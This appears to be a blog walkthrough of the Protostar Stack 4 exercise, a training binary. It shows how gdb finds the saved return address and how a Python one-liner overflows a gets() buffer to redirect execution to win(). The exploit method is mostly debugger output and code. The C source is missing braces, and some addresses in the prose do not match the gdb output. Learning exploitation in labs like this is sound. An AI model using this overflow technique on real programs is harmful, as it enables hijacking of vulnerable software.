Sunday, December 9, 2012

exploit-exercises Protostar: Stack 4

Our goal in Stack 4 challenge of Protostar wargame is again to alter the program to run the win() function. The source code is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
printf("code flow successfully changed\n");

int main(int argc, char **argv)
char buffer[64];

First, we get the win() function address in memory.
[email protected]:~$ objdump -d /opt/protostar/bin/stack4 | grep win
080483f4 <win>:
This time however, we don't have a function pointer to overwrite. We will have
to overwrite the return address which will be written into EIP when the main()
function call finishes. Some more information could be found in the first write-up of the series. Knowing that the return address is stored at $ebp+0x4 address in memory, we first experiment with a bogus value, the infamous 0x41414141.
[email protected]:~$ gdb -q /opt/protostar/bin/stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) break main
Breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.
(gdb) run
Starting program: /opt/protostar/bin/stack4

Breakpoint 1, main (argc=1, argv=0xbffff834) at stack4/stack4.c:15
warning: Source file is more recent than executable.
15    gets(buffer);
(gdb) x/30x $esp
0xbffff730: 0xb7fd7ff4    0xb7ec6165  0xbffff748    0xb7eada75
0xbffff740: 0xb7fd7ff4    0x080495ec  0xbffff758    0x080482e8
0xbffff750: 0xb7ff1040    0x080495ec  0xbffff788    0x08048449
0xbffff760: 0xb7fd8304    0xb7fd7ff4  0x08048430    0xbffff788
0xbffff770: 0xb7ec6365    0xb7ff1040  0x0804843b    0xb7fd7ff4
0xbffff780: 0x08048430    0x00000000  0xbffff808    0xb7eadc76
0xbffff790: 0x00000001    0xbffff834  0xbffff83c    0xb7fe1848
0xbffff7a0: 0xbffff7f0    0xffffffff
(gdb) i r $ebp
ebp            0xbffff788   0xbffff788
(gdb) set *(0xbffff788+0x4) = 0x41414141
(gdb) continue


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Knowing that, we have full control of the execution of the program.
(gdb) start
Temporary breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.
Starting program: /opt/protostar/bin/stack4

Temporary breakpoint 1, main (argc=1, argv=0xbffff864) at stack4/stack4.c:15
warning: Source file is more recent than executable.
15      gets(buffer);
(gdb) next

16      }
(gdb) x/40wx $esp
0xbffff760:     0xbffff770      0xb7ec6165   0xbffff778      0xb7eada75
0xbffff770:     0x41414141   0x41414141  0x41414141   0x08040041
0xbffff780:     0xb7ff1040     0x080495ec  0xbffff7b8       0x08048449
0xbffff790:     0xb7fd8304    0xb7fd7ff4    0x08048430    0xbffff7b8
0xbffff7a0:     0xb7ec6365    0xb7ff1040   0x0804843b    0xb7fd7ff4
0xbffff7b0:     0x08048430    0x00000000 0xbffff838       0xb7eadc76
0xbffff7c0:     0x00000001    0xbffff864     0xbffff86c       0xb7fe1848
0xbffff7d0:     0xbffff820       0xffffffff         0xb7ffeff4       0x0804824b
0xbffff7e0:     0x00000001    0xbffff820     0xb7ff0626     0xb7fffab0
0xbffff7f0:     0xb7fe1b28      0xb7fd7ff4    0x00000000   0x00000000
(gdb) i r $ebp
ebp            0xbffff7b8       0xbffff7b8
(gdb) p $ebp + 0x4 - 0xbffff770
$1 = (void *) 0x4c
(gdb) p 0x4c
$2 = 76
We start writing at 0xbffff740, and RET address is stored at 0xbffff78c
($ebp+0x4), the offset is 76 bytes.
[email protected]:~$ python -c "print 'A'*76+'\xf4\x83\x04\x08'" | /opt/protostar/bin/stack4
code flow successfully changed

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